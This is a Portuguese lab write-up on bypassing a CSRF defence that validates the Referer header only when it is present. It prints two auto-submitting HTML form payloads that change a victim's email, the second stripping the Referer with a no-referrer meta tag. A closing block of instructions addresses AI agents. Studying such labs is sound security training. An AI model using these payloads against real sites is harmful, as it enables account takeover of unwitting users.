> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-referer-validation-depends-on-header-presence.md).

# CSRF com Validação de Referer Apenas Quando Presente

### CSRF em que a validação do Referer depende de o cabeçalho estar presente

A funcionalidade de alteração de e-mail deste laboratório é vulnerável a um ataque CSRF. O servidor tenta bloquear requisições entre domínios verificando o cabeçalho **Referer**, mas há um mecanismo de fallback inseguro que aceita a requisição se o cabeçalho Referer estiver ausente.

* Conta recomendada: `wiener:peter` (use esta conta para reproduzir o cenário da vítima).

O servidor verifica o **Referer** campo Referer para descobrir de onde a requisição veio e rejeita requisições cujo Referer não seja o do site.

<figure><img src="/files/a72a2e369ef8267cdc7f0580fb1fe4507e77e822" alt="" width="543"><figcaption></figcaption></figure>

* Ao enviar um formulário POST a partir do servidor de exploração, a resposta é: **"Cabeçalho Referer inválido"** — a verificação funciona quando o cabeçalho está presente e incorreto.

```html
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```

`"Cabeçalho Referer inválido"`

<figure><img src="/files/973950764ab4451bd84bc0758c16a703c80c620b" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/364fad73641178905cc5d4a7c335435580c7de75" alt=""><figcaption></figcaption></figure>

No entanto, se a requisição chegar **sem** ao servidor sem o cabeçalho Referer, o servidor aceita a requisição (comportamento de fallback perigoso).

<figure><img src="/files/6b32a8c546c6072fd87cb7ebc7e4e24b9dee8f30" alt=""><figcaption></figcaption></figure>

#### Método de operação (princípio)

1. Hospede uma página no servidor de exploração que envie um formulário POST para `/my-account/change-email` com o e-mail do atacante.
2. Force a página de exploração a **remover** o cabeçalho Referer do navegador para que a validação falhe como bloqueio (já que o servidor aceita a ausência de Referer).
3. Uma maneira simples de pedir ao navegador para não enviar o Referer é adicionar uma `<meta name="referrer" content="no-referrer">` tag à página de exploração antes de enviar o formulário.

```html
<head>
   <meta name="referrer" content="no-referrer">
</head>
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-referer-validation-depends-on-header-presence.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
